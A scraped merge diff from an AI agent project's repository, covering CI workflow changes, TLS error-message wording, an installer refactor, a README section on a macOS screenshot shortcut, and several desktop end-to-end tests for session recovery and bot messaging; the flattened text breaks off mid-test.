The agent that grows with you
Python aiai-agentai-agentsanthropicchatgptclaudeclaude-codecodexhermeshermes-agentllmnous-researchopenai
Merge origin/main; keep PM as plugin dependency owner
ethernetb4a294fff944
diff --cc .github/workflows/ci.yamlindex 65fa880a9a8,973f4b0917a..87933622356--- a/.github/workflows/ci.yaml+++ b/.github/workflows/ci.yaml@@@ -36,19 -22,10 +36,17 @@@ onpermissions:contents: readpull-requests: write # needed by lint (PR comment) + supply-chain review_status- actions: read # needed by osv-scanner (SARIF upload)- security-events: write # needed by osv-scanner (SARIF upload)+# cancel-in-progress only ever applies to PR events. A push, a dispatch, and+# above all a stable-release workflow_call run are never cancelled by a later+# commit or a rerun of the same branch — the caller's own concurrency uses+# github.run_id, so even a parent rerun cannot kill this child mid-flight.+# Release (workflow_call with inputs.release) never cancels and never gets+# cancelled: its group is github.run_id. PRs collapse per-PR; pushes use the+# ref as before.concurrency:- group: ci-${{ github.ref }}- cancel-in-progress: ${{ github.event_name == 'pull_request' }}+ group: ci-${{ inputs.release == true && github.run_id || (github.event_name == 'pull_request' && github.event.pull_request.number || github.ref) }}+ cancel-in-progress: ${{ inputs.release != true && github.event_name == 'pull_request' }}jobs:# ─────────────────────────────────────────────────────────────────────@@@ -278,20 -213,10 +276,16 @@@mcp_catalog: ${{ needs.detect.outputs.mcp_catalog == 'true' }}supply_chain: ${{ needs.supply-chain.outputs.critical_findings == 'true' }}- osv-scanner:- name: OSV scan- uses: ./.github/workflows/osv-scanner.yml-# ─────────────────────────────────────────────────────────────────────# Gate: runs after everything. ``if: always()`` ensures it reports a- # status even when some deps were skipped. Only actual ``failure``- # results cause it to fail; ``skipped`` is treated as success.+ # status even when some deps were skipped.+ #+ # Non-release (PR/push): failure fails, skipped counts as success.+ # Release (inputs.release): strict — every required job must be+ # `success`. A skipped required lane fails the gate; only the PR-only+ # jobs (history-check, lockfile-diff, supply-chain, review-labels) and+ # the deferred Desktop E2E (e2e-desktop) may skip. The OSV scan's+ # findings are advisory, but its execution is required.## Branch protection should require ONLY this check.#@@@ -320,10 -242,12 +314,13 @@@- lockfile-diff- docker-lint- profile-artifact-check+ - icons-freshness-check- supply-chain- review-labels- - osv-scanner+ # OSV runs weekly against main (osv-scanner.yml schedule), not per PR:+ # every PR was reporting the same repo-wide baseline of pinned-dep CVEs+ # in its review comment, and the SARIF upload tripped GitHub's+ # per-installation API rate limit during merge trains.# The image build runs in its own workflow (docker.yml) and reports# its own check. It was never required here, because it is too slow# to block a merge. A separate run also stops it from holding thisdiff --cc .github/workflows/js-tests.ymlindex 2fcc61cafac,62e3a21e698..fb753d29922--- a/.github/workflows/js-tests.yml+++ b/.github/workflows/js-tests.yml@@@ -18,15 -18,26 +18,19 @@@ jobstimeout-minutes: 30steps:- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2- - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4+ - name: Set up the locked JS build toolchain+ id: node+ uses: ./.github/actions/setup-pmwith:- node-version: 26- cache: npm+ # Desktop checks also run Python payload and icon build helpers.+ toolchain: all- # The desktop SSH watchdog tests run their probe through a real zsh- # login shell (#111949). The ubuntu image ships no zsh and the tests- # skip without it, so install it here or those legs never run on CI.+ - name: Install zsh+ if: runner.os == 'Linux'+ run: sudo apt-get install -y zsh+- - name: grab npm 12- run: |- # No-op once the bundled npm is already 12.x — saves ~5-15s/job and- # keeps the installed major aligned with the npm12 cache-key tag.- npm --version | grep -q '^12\.' || npm i -g npm@12-- # The ``cache: npm`` option of ``setup-node`` caches only the ~/.npm- # tarball cache. The job then extracts the full workspace node_modules+ # setup-pm caches npm downloads, not the installed workspace tree.+ # The job then extracts the full workspace node_modules# again and runs the postinstalls again, which includes the Electron# binary fetch. This caches the installed tree itself, keyed on the# lockfile, and skips ``npm ci`` on an exact hit. There are nodiff --cc .github/workflows/osv-scanner.ymlindex 2e61fcc92cb,c7634bb8332..11928250d5d--- a/.github/workflows/osv-scanner.yml+++ b/.github/workflows/osv-scanner.yml@@@ -50,97 -47,6 +47,5 @@@ jobs--lockfile=website/package-lock.json--lockfile=plugins/platforms/photon/sidecar/package-lock.json--lockfile=scripts/whatsapp-bridge/package-lock.json- # The upstream reusable workflow uploads this exact file under its- # fixed artifact name, which the wrapper downloads below.results-file-name: osv-results.sariffail-on-vuln: false-- emit-status:- name: Emit review status- runs-on: ubuntu-latest- # Downloads one small SARIF artifact and runs two inline python snippets —- # minutes of work. Bound it so a wedged artifact download can't hold a- # runner for GitHub's 6-hour default (the only unbounded job left in- # .github/workflows; every other workflow already sets timeout-minutes).- timeout-minutes: 10- needs: scan- if: always()- outputs:- review_status: ${{ steps.emit.outputs.review_status }}- steps:- - name: Checkout code- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2-- - name: Download SARIF result- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4- with:- name: OSV Scanner SARIF file- path: /tmp/osv-results- continue-on-error: true-- - name: Emit review_status- id: emit- run: |- set -euo pipefail- STATUS="[]"-- if [ -f /tmp/osv-results/osv-results.sarif ]; then- # Count vulnerabilities from the SARIF file- VULN_COUNT=$(python3 -c "- import json, sys- try:- with open('/tmp/osv-results/osv-results.sarif') as f:- data = json.load(f)- count = 0- vulns = []- for run in data.get('runs', []):- for result in run.get('results', []):- count += 1- rule_id = result.get('ruleId', 'unknown')- message = result.get('message', {}).get('text', '')- loc = result.get('locations', [{}])[0].get('physicalLocation', {}).get('artifactLocation', {}).get('uri', '')- vulns.append(f'- {rule_id} in {loc}: {message}')- print(count)- if vulns:- print('\n'.join(vulns[:20]), file=sys.stderr)- except Exception:- print(0)- ")-- VULN_DETAIL=""- if [ "$VULN_COUNT" -gt 0 ] 2>/dev/null; then- VULN_PLURAL=$([ "$VULN_COUNT" -eq 1 ] && echo "y" || echo "ies")- VULN_DETAIL=$(python3 -c "- import json, sys- try:- with open('/tmp/osv-results/osv-results.sarif') as f:- data = json.load(f)- vulns = []- for run in data.get('runs', []):- for result in run.get('results', []):- rule_id = result.get('ruleId', 'unknown')- loc = result.get('locations', [{}])[0].get('physicalLocation', {}).get('artifactLocation', {}).get('uri', '')- vulns.append(f'- {rule_id} in {loc}')- print(json.dumps('\n'.join(vulns[:20])))- except Exception:- print(json.dumps(''))- ")- STATUS="[{\"source\":\"osv scan\",\"results\":[{\"kind\":\"warning\",\"title\":\"OSV vulnerability scan\",\"summary\":\"${VULN_COUNT} known vulnerabilit${VULN_PLURAL} found in pinned dependencies.\",\"detail\":${VULN_DETAIL},\"how_to_fix\":\"Review the findings in the [Security tab](../../security/code-scanning). Update the affected dependencies if a patched version is available.\"}]}]"- else- STATUS="[]"- fi- fi-- echo "review_status=${STATUS}" >> "$GITHUB_OUTPUT"- echo "review_status=${STATUS}" > review-status.json--- - name: Upload review status artifact- if: always() && steps.emit.outcome != 'skipped'- continue-on-error: true- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7- with:- name: review-status-osv-scanner- path: review-status.json- retention-days: 1- overwrite: true- if-no-files-found: ignorediff --cc .github/workflows/tests.ymlindex bc4deef64d0,cfe819a8020..2bcb72262e1--- a/.github/workflows/tests.yml+++ b/.github/workflows/tests.yml@@@ -41,12 -41,68 +41,28 @@@ jobsrm -rf "$RG_TARBALL" "ripgrep-${RG_VERSION}-x86_64-unknown-linux-musl"rg --version- - name: Install uv- uses: astral-sh/setup-uv@fac544c07dec837d0ccb6301d7b5580bf5edae39 # 8.2.0+ - name: Set up locked Python and test dependencies+ uses: ./.github/actions/setup-pmwith:- # Pin the uv version: unpinned, setup-uv resolves "latest" by- # fetching a manifest from raw.githubusercontent.com on EVERY job —- # a transient fetch failure fails the whole job (2026-07-28 slice-5- # incident). Pinned, the binary downloads directly; no manifest hop.- version: "0.9.28"- # Persist uv's download/wheel cache (~/.cache/uv) across runs.- # Keyed on the dependency manifests, so the cache is reused until- # pyproject.toml or uv.lock changes. `uv sync` still runs every- # time, but resolves from the warm cache instead of re-downloading- # and re-building wheels.- enable-cache: true- cache-dependency-glob: |- pyproject.toml- uv.lock-- - name: Set up Python 3.11- uses: ./.github/actions/retry- with:- command: uv python install 3.11-- - name: Install dependencies- # `uv sync --locked` installs the exact pinned set from uv.lock (and- # fails if the lock is out of sync with pyproject.toml), giving a- # reproducible env. It also creates .venv itself, so no separate- # `uv venv` step is needed.- #- # The trailing extras beyond all/dev are the lazy-install features- # (tools/lazy_deps.py) that tests exercise for real: provider.anthropic,- # stt/tts.mistral, image.fal, terminal.modal, terminal.daytona,- # memory.hindsight, search.parallel. The hermetic test env forbids- # mid-run pip installs (HERMES_DISABLE_LAZY_INSTALLS=1 in- # tests/conftest.py), so the SDKs those tests need must be in the- # venv up front — resolved from uv.lock like everything else, which- # also honors the exact supply-chain pins these extras carry.- uses: ./.github/actions/retry- with:- command: uv sync --locked --python 3.11 --extra all --extra dev --extra anthropic --extra mistral --extra fal --extra modal --extra daytona --extra hindsight --extra parallel-web-- - name: Minimize uv cache- # Optimized for CI: prunes pre-built wheels that are cheap to- # re-download, keeping the persisted cache small and fast to restore.- run: uv cache prune --ci+ extras: '["all", "dev", "anthropic", "mistral", "fal", "modal", "daytona", "hindsight", "parallel-web"]'+ prune-python-cache: true+ - name: Restore per-file duration cache+ # scripts/run_tests_parallel.py raises a file's timeout to+ # 3x its last healthy duration (_effective_file_timeout) so a+ # known-slow file dilated by load is not SIGKILL'd at the flat cap+ # and laundered into a FLAKY retry. The scaler reads+ # test_durations.json from the checkout; without this restore the+ # file is absent on a fresh runner and the scaler is inert.+ # Exact key never matches (run_id differs); restore-keys picks the+ # most recent cache saved by a main push. PRs read, only main writes.+ uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5+ with:+ path: test_durations.json+ key: test-durations-never-exact+ restore-keys: |+ test-durations-+- name: Run tests# Per-file isolation via scripts/run_tests.sh: each test file runs# in its own freshly-spawned `python -m pytest <file>` subprocessdiff --cc .gitignoreindex ab3936a1372,63c2583b769..697c41153c4--- a/.gitignore+++ b/.gitignore@@@ -266,8 -134,10 +266,9 @@@ website/static/api/skills-index.jso# every build).website/static/api/skills.jsonwebsite/static/api/skills-meta.json-# plugins.json + plugins-meta.json are build artifacts emitted by-# website/scripts/extract-plugins.py during prebuild (Plugin Catalog page).+# Plugin catalog JSON is generated from plugin-catalog/ during prebuild.website/static/api/plugins.json+ website/static/api/plugin-stars.jsonwebsite/static/api/plugin-catalog.jsonwebsite/static/api/plugins-meta.json# automation-blueprints-index.json is a build artifact emitted bydiff --cc agent/nous_rate_guard.pyindex 1baf78dd5f3,2b44fca308b..7f918da43a0--- a/agent/nous_rate_guard.py+++ b/agent/nous_rate_guard.py@@@ -79,11 -87,11 +87,11 @@@ def record_nous_rate_limitlogger.debug("Failed to write Nous rate limit state: %s", exc)- def nous_rate_limit_remaining() -> Optional[float]:+ def nous_rate_limit_remaining(*, anonymous: bool = False) -> Optional[float]:"""Seconds remaining until reset, or None if not rate-limited (expired state is removed)."""- path = _state_path()+ path = _state_path(anonymous=anonymous)try:- with open(path, encoding="utf-8") as f:+ with open(path, encoding="utf-8-sig") as f:state = json.load(f)remaining = state.get("reset_at", 0) - time.time()if remaining > 0:diff --cc agent/turn_recovery.pyindex fd61f8144c6,491201d18c9..047334886d0--- a/agent/turn_recovery.py+++ b/agent/turn_recovery.py@@@ -721,12 -853,12 +853,12 @@@ def nonretryable_client_error_resultif classified.reason == FailoverReason.ssl_cert_verification:_vlines(agent,- " 💡 The TLS certificate chain could not be verified. This fails the same",+ " 💡 Hermes couldn't verify the provider's security certificate. This fails the same"," way on every retry — fix the environment, then try again:",- " • Corporate TLS-inspecting proxy? Point Python at its CA bundle:",- " export SSL_CERT_FILE=/path/to/corp-ca.pem (also REQUESTS_CA_BUNDLE)",- " • Missing/stale system CA store? Refresh it (in Hermes's venv: `uv pip install",- " --upgrade certifi`; macOS: run 'Install Certificates.command').",+ " • Corporate TLS-inspecting proxy? Ask your administrator to install",+ " its root certificate in the operating system trust store.",+ " • Missing/stale system CA store? Refresh the OS certificate store.",+ " A provider-specific CA can also be configured with ssl_ca_cert."," • Self-signed local endpoint (llama.cpp, LM Studio, vLLM)? Use http://"," for localhost, or add the server's cert to your trust store.",)diff --cc apps/bootstrap-installer/src-tauri/src/update.rsindex 52b2fbcc426,34aa5065e95..5f016a7db14--- a/apps/bootstrap-installer/src-tauri/src/update.rs+++ b/apps/bootstrap-installer/src-tauri/src/update.rs@@@ -1024,6 -1200,6 +1024,15 @@@ async fn install_macos_app_updateOk(target_app.to_path_buf())}++#[cfg(not(target_os = "macos"))]++async fn install_macos_app_update(++ _app: &AppHandle,++ _install_root: &Path,++ target_app: &Path,++) -> Result<PathBuf> {++ Ok(target_app.to_path_buf())++}++/// Move a freshly-staged bundle (`tmp`) into place at `target`, parking any/// existing bundle at `old` so the move can succeed (macOS `rename` won't/// overwrite a non-empty directory).@@@ -1060,15 -1236,15 +1069,6 @@@ async fn swap_in_new_bundle(tmp: &PathOk(())}--#[cfg(not(target_os = "macos"))]--async fn install_macos_app_update(-- _app: &AppHandle,-- _install_root: &Path,-- target_app: &Path,--) -> Result<PathBuf> {-- Ok(target_app.to_path_buf())--}--async fn remove_dir_if_exists(path: &Path) {if path.exists() {let _ = tokio::fs::remove_dir_all(path).await;diff --cc apps/desktop/README.mdindex e7e120215db,165cb36b1d8..2af352c8011--- a/apps/desktop/README.md+++ b/apps/desktop/README.md@@@ -49,11 -48,25 +49,27 @@@ payload. See [BUILDING.md](BUILDING.md---+ ## Screenshot shortcut (macOS)++ Enable **Settings → Keyboard Shortcuts → Screenshot shortcut**, then press the+ left and right Command keys together in any app. Hermes captures that app's+ frontmost window and attaches the image to the last-active Hermes composer,+ including split-pane chats. It does not send the draft or capture the whole+ screen. Release both keys before taking another screenshot.++ The shortcut is off by default and saved only on this Mac. macOS requires+ **Input Monitoring** and **Screen & System Audio Recording** permission; the+ settings row links to the relevant system pane and offers Retry. If macOS asks+ to restart the app after granting access, do so before retrying. Review the+ attachment before sending, especially when the captured window is sensitive.+## Requirements-The installer handles everything for you (Python 3.11+, a portable Git, ripgrep).+Bundled packages provide Python 3.14 and their supported dependencies.+Source/bootstrap builds have a separate preparation path. Platform-native+requirements, including system Git on POSIX, are described in [BUILDING.md](BUILDING.md).+ macOS source builds also require Xcode Command Line Tools to compile the native+ shortcut helper. Prebuilt installers include it; no compiler is needed at runtime.---diff --cc apps/desktop/e2e/archived-hidden-session-recoverable.spec.tsindex 00000000000,b91c8b9d034..4efea5a0f46mode 000000,100644..100644--- a/apps/desktop/e2e/archived-hidden-session-recoverable.spec.ts+++ b/apps/desktop/e2e/archived-hidden-session-recoverable.spec.ts@@@ -1,0 -1,132 +1,131 @@@+ /**+ * E2E regression: an archived session stays reachable from Settings → Sessions+ * even when it is also `hidden` (Bot Mode marks its sessions hidden).+ *+ * The archived view is the only recovery surface for rows that dropped out of+ * the default Sessions list; a row that is both archived AND hidden used to be+ * excluded from it too, so the transcript was unrecoverable from any UI.+ */++ import { execFileSync } from 'node:child_process'+ import * as fs from 'node:fs'+ import * as path from 'node:path'++ import { startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig,++ waitForAppReady+ } from './fixtures'+ import { expect, test } from './test'++ const HIDDEN_ARCHIVED_TEXT = 'E2E_ARCHIVED_HIDDEN_ROW'+ const CONTROL_TEXT = 'E2E_ARCHIVED_VISIBLE_ROW'++ const DESKTOP_ROOT = path.resolve(import.meta.dirname, '..')+ const REPO_ROOT = path.resolve(DESKTOP_ROOT, '..', '..')+ const RUNTIME_PYTHON = path.join(REPO_ROOT, 'venv', 'bin', 'python')++ /**+ * Seed two durable rows through the real SessionDB (the same code the desktop+ * backend reads): one archived+hidden (the recovery case) and one plain+ * archived control. Direct SessionDB writes keep the seed deterministic under+ * host load; the desktop still reads them through the real `hermes serve`.+ */+ function seedArchivedRows(hermesHome: string, hiddenId: string, controlId: string): void {+ execFileSync(+ RUNTIME_PYTHON,+ [+ '-c',+ [+ 'import sys',+ 'from hermes_state import SessionDB',+ 'hidden_id, control_id, hidden_text, control_text = sys.argv[1:5]',+ 'db = SessionDB()',+ 'for sid, text in ((hidden_id, hidden_text), (control_id, control_text)):',+ ' db.create_session(sid, source="desktop")',+ ' db.append_message(sid, "user", text)',+ ' db.append_message(sid, "assistant", "ok " + text)',+ ' assert db.set_session_archived(sid, True) is True',+ 'assert db.set_session_hidden(hidden_id, True) is True',+ 'rows = {r["id"]: (r["archived"], r["hidden"]) for r in db.list_sessions_rich(include_archived=True, include_hidden=True)}',+ 'db.close()',+ 'assert rows[hidden_id] == (1, 1), rows',+ 'assert rows[control_id] == (1, 0), rows',+ ].join('\n'),+ hiddenId,+ controlId,+ HIDDEN_ARCHIVED_TEXT,+ CONTROL_TEXT,+ ],+ { cwd: REPO_ROOT, env: { ...process.env, HERMES_HOME: hermesHome }, stdio: 'pipe' },+ )+ expect(fs.existsSync(path.join(hermesHome, 'state.db'))).toBe(true)+ }++ async function setupSeededMockBackend(): Promise<MockBackendFixture & { controlId: string; hiddenId: string }> {+ const mock = await startMockServer()+ const sandbox = createSandbox('archived-hidden')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)++ const hiddenId = '20260916_000001_e2ehid'+ const controlId = '20260916_000002_e2ectl'+ seedArchivedRows(sandbox.hermesHome, hiddenId, controlId)++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ return {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ hiddenId,+ controlId,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ },+ }+ }++ test.describe('archived + hidden session stays recoverable', () => {+ let fixture: Awaited<ReturnType<typeof setupSeededMockBackend>>++ test.beforeAll(async () => {+ fixture = await setupSeededMockBackend()+ await waitForAppReady(fixture)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ })++ test('Settings → Sessions lists the archived+hidden row next to the plain archived row', async () => {+ const { page, hiddenId, controlId } = fixture++ // Hidden rows never show in the default Sessions list (unchanged contract).+ await expect(page.getByText(HIDDEN_ARCHIVED_TEXT, { exact: false })).toHaveCount(0)++ await page.evaluate(() => {+ window.location.hash = '#/settings?tab=sessions'+ })++ const controlRow = page.locator(`#archived-session-${controlId}`)+ await controlRow.waitFor({ state: 'visible', timeout: 60_000 })++ const hiddenRow = page.locator(`#archived-session-${hiddenId}`)+ await expect(hiddenRow, 'archived+hidden session must be listed in the archived view').toBeVisible({+ timeout: 15_000,+ })+ await expect(hiddenRow.getByRole('button', { name: /unarchive/i })).toBeVisible()++ await page.screenshot({ path: test.info().outputPath('archived-hidden-row.png'), fullPage: false })+ })+ })diff --cc apps/desktop/e2e/bot-chat-message-agent-friendly-name.spec.tsindex 00000000000,e8f337dab92..566954c0be9mode 000000,100644..100644--- a/apps/desktop/e2e/bot-chat-message-agent-friendly-name.spec.ts+++ b/apps/desktop/e2e/bot-chat-message-agent-friendly-name.spec.ts@@@ -1,0 -1,106 +1,111 @@@+ import { execFileSync } from 'node:child_process'+ import fs from 'node:fs'+ import path from 'node:path'+-import { type MockBackendFixture, setupMockBackend, waitForAppReady, writeEnvFile } from './fixtures'++import { writeEnvFile } from '../../../tests-js/scripts/mock-provider-config'++import {++ type MockBackendFixture,++ setupMockBackend,++ waitForAppReady++} from './fixtures'+ import { expect, test } from './test'++ /**+ * Bot Mode `message_agent` target resolution, driven from a real Bot Chat.+ *+ * The Desktop autocompletes a bot by its friendly name (Bot Mode title /+ * profile display_name) as an @-slug, while the backend keyed local targets on+ * the profile folder id only. Sending to "Scribe" (folder `writer`) therefore+ * came back "No teammate named 'Scribe'" and nothing reached the writer's Bot+ * Chat (#100671). The mock model emits exactly the tool call the user text+ * scripts (`E2E_CALL(message_agent)[…]`) so the REAL tool runs in the sender's+ * backend and the REAL delivery lands in the recipient profile's state.db.+ */++ let fixture: MockBackendFixture | null = null++ async function openBots(page: MockBackendFixture['page']): Promise<void> {+ const tab = page.getByRole('button', { name: 'Bots', exact: true }).or(page.getByRole('tab', { name: 'Bots', exact: true })).first()+ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ }++ async function createAgent(page: MockBackendFixture['page'], name: string, title: string): Promise<void> {+ await page.getByRole('button', { name: 'New bot or group chat' }).click()+ await page.getByRole('menuitem', { name: 'New Bot' }).click()++ const dialog = page.getByRole('dialog', { name: 'New Bot' })+ await dialog.getByPlaceholder('inbox-triage').fill(name)+ await dialog.getByPlaceholder('Inbox Triage').fill(title)+ await dialog.getByRole('button', { name: 'Create Bot' }).click()+ await expect(dialog).toBeHidden({ timeout: 30_000 })+ await expect(page.getByRole('button', { name: new RegExp(`^${title}\\b`) }).first()).toBeVisible({ timeout: 30_000 })+ }++ /** A Bot the Desktop never touched: folder `writer`, Bot Mode title "Scribe", its own+ * model — the shape of a bot created on another machine or renamed by hand. */+ function seedWriterProfile(home: string): string {+ const writerHome = path.join(home, 'profiles', 'writer')+ fs.mkdirSync(writerHome, { recursive: true })+ fs.writeFileSync(path.join(writerHome, 'profile.yaml'), 'description: Writes things\nui_meta:\n hermes-bots:\n title: Scribe\n', 'utf8')+ const base = fs.readFileSync(path.join(home, 'config.yaml'), 'utf8')+ fs.writeFileSync(+ path.join(writerHome, 'config.yaml'),+ base.replace('default: mock-model', 'default: mock-model-writer').replace('mock-model: {}', 'mock-model: {}\n mock-model-writer: {}'),+ 'utf8',+ )+ writeEnvFile(writerHome)++ return writerHome+ }++ function sqlite(dbPath: string, sql: string): string {+ return execFileSync('python3', ['-c', 'import sqlite3,sys; c=sqlite3.connect(f"file:{sys.argv[1]}?mode=ro", uri=True); print("\\n".join(str(r[0]) for r in c.execute(sys.argv[2])))', dbPath, sql], {+ encoding: 'utf8',+ }).trim()+ }++ test.beforeAll(async () => {+ fixture = await setupMockBackend()+ seedWriterProfile(fixture.sandbox.hermesHome)+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('a DM addressed by the friendly name lands in that bot\'s Bot Chat', async () => {+ test.setTimeout(600_000)+ const page = fixture!.page+ const home = fixture!.sandbox.hermesHome++ await openBots(page)+ await expect(page.getByRole('button', { name: /^Scribe · @writer\b/ }).first()).toBeVisible({ timeout: 60_000 })+ await createAgent(page, 'sender', 'Sender')+ // The row click opens the sender's canonical Bot Chat into the main workspace+ // (its fresh-chat splash replaces the default profile's welcome pane).+ await page.getByRole('button', { name: /^Sender · @sender\b/ }).filter({ visible: true }).first().click()+ await expect(page.getByText('Say something to get started.').filter({ visible: true })).toBeVisible({ timeout: 120_000 })+ await expect(page.getByText('What are we building?')).toHaveCount(0)+ const composer = page.locator('[data-slot="composer-root"] [contenteditable="true"]').filter({ visible: true })+ await expect(composer).toHaveCount(1, { timeout: 120_000 })++ await composer.click()+ await composer.type('E2E_CALL(message_agent)[{"target":"Scribe","message":"codeword-7A91 please ack"}]', { delay: 5 })+ await page.keyboard.press('Enter')++ // The tool result the model saw: base answers "No teammate named 'Scribe'".+ await expect(page.getByText(/E2E_CALL_RESULT:/).filter({ visible: true }).first()).toBeVisible({ timeout: 240_000 })+ await expect(page.getByText(/Message dispatched to @writer/).first()).toBeVisible()+ await expect(page.getByText(/No teammate named/)).toHaveCount(0)+ const senderDb = path.join(home, 'profiles', 'sender', 'state.db')+ const toolResult = sqlite(senderDb, "SELECT content FROM messages WHERE role='tool' ORDER BY rowid DESC LIMIT 1")+ expect(toolResult).toContain('"to": "@writer"')++ // The recipient turn is a full `hermes -p writer` CLI boot in the background; its+ // landing in writer/state.db is covered by tests/tools (delivery runner) — under a+ // saturated host it can outlast any sane spec budget, so it is not awaited here.+ await page.screenshot({ path: 'test-results/bot-chat-message-agent-friendly-name.png', fullPage: true })+ })diff --cc apps/desktop/e2e/bot-mailbox-unreadable-ticket.spec.tsindex 00000000000,0cb0c79f772..60c7fec18e5mode 000000,100644..100644--- a/apps/desktop/e2e/bot-mailbox-unreadable-ticket.spec.ts+++ b/apps/desktop/e2e/bot-mailbox-unreadable-ticket.spec.ts@@@ -1,0 -1,148 +1,147 @@@+ import { execFileSync } from 'node:child_process'+ import fs from 'node:fs'+ import path from 'node:path'++ import { MOCK_REPLY, startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // A teammate's `message_agent` DM into a Bot Chat the Desktop holds open travels through the+ // live-owner mailbox (`<profile>/runtime/bot_live_delivery/<id>.json`): the sender admits a+ // ticket, the gateway's idle poller claims it and runs the turn. Both sides bulk-scan the+ // directory, so ONE unreadable ticket (ACL drift, elevated-owner file, AV lock) used to make+ // every sender report `ambiguous` and crash the receiver's poll each cycle — the healthy DM+ // never rendered in the open chat. Regression: the DM must still arrive.++ type Page = MockBackendFixture['page']++ let fixture: MockBackendFixture | null = null++ const REPO_ROOT = path.resolve(import.meta.dirname, '..', '..', '..')+ const PYTHON = process.env.HERMES_E2E_PYTHON ?? path.join(REPO_ROOT, '.venv', 'bin', 'python')++ async function openBots(page: Page): Promise<void> {+ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ }++ async function seedBot(hermesHome: string, mockUrl: string, name: string): Promise<void> {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)++ const builder = await RealSessionBuilder.start(dir)++ try {+ await builder.createSession({ title: 'Bot Chat', turns: [`Hello ${name}`] })+ } finally {+ await builder.close()+ }+ }++ /** Plant one chmod-000 ticket, then admit a real DM through the production mailbox API. */+ function admitDmBesideUnreadableTicket(profileHome: string, message: string): string {+ const script = `+ import json, sys+ from pathlib import Path+ from tools import bot_live_delivery as mailbox+ home = Path(sys.argv[1]); message = sys.argv[2]+ owner = mailbox.find_canonical_live_owner(home)+ if owner is None:+ print(json.dumps({"error": "no live owner advertised for " + str(home)})); raise SystemExit(0)+ root = home / "runtime" / mailbox.DELIVERY_DIR_NAME+ root.mkdir(parents=True, exist_ok=True)+ bad = root / ("e" * 32 + ".json")+ bad.write_text('{"status": "queued"}', encoding="utf-8")+ bad.chmod(0)+ try:+ record = mailbox.deliver_to_live_owner(home, owner, message, author={"id": "bot:beta", "name": "beta", "is_bot": True})+ print(json.dumps({"status": record["status"], "delivery_id": record["delivery_id"]}))+ except Exception as exc:+ print(json.dumps({"error": f"{type(exc).__name__}: {exc}"}))+ `++ return execFileSync(PYTHON, ['-c', script, profileHome, message], {+ cwd: REPO_ROOT,+ env: { ...process.env, PYTHONPATH: REPO_ROOT, HERMES_HOME: profileHome },+ encoding: 'utf8'+ }).trim()+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('bots-mailbox-unreadable')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ await seedBot(sandbox.hermesHome, mock.url, 'alpha')++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('a teammate DM still reaches the open Bot Chat when an unreadable ticket sits in the mailbox', async () => {+ test.setTimeout(300_000)+ const page = fixture!.page+ const profileHome = path.join(fixture!.sandbox.hermesHome, 'profiles', 'alpha')++ await openBots(page)+ const alphaRow = page.getByRole('button', { name: /^alpha\b/i }).filter({ visible: true }).first()+ await expect(alphaRow).toBeVisible({ timeout: 30_000 })+ await alphaRow.click()+ await expect(page.getByText('Hello alpha', { exact: true }).filter({ visible: true }).first()).toBeVisible({+ timeout: 60_000+ })++ // One real Desktop turn first: the lease (and its live-consumer advertisement) is acquired on submit.+ const composer = page.locator('[data-slot="composer-root"] [contenteditable="true"]').filter({ visible: true }).first()+ await expect(composer).toBeVisible({ timeout: 15_000 })+ await composer.click()+ await composer.fill('warm up alpha')+ await page.keyboard.press('Enter')+ await expect(page.getByText(MOCK_REPLY).filter({ visible: true }).first()).toBeVisible({ timeout: 60_000 })++ const dm = 'Message from 🤖 beta (@beta): PROBE-MAILBOX-DM please ack'+ const admission = JSON.parse(admitDmBesideUnreadableTicket(profileHome, dm)) as { status?: string; error?: string }+ await test.info().attach('admission', { body: JSON.stringify(admission), contentType: 'application/json' })+ expect(admission.error, 'sender admission must not degrade to ambiguous').toBeUndefined()+ expect(admission.status).toBe('queued')++ // The gateway poller claims the ticket at the idle boundary and runs it as a real inbound turn;+ // the transcript renders the teammate message as a collapsed inter-agent directive card, so+ // assert on presence in the transcript DOM rather than on visibility of the folded text.+ await expect(page.getByText(/PROBE-MAILBOX-DM/).first()).toBeAttached({ timeout: 90_000 })+ await 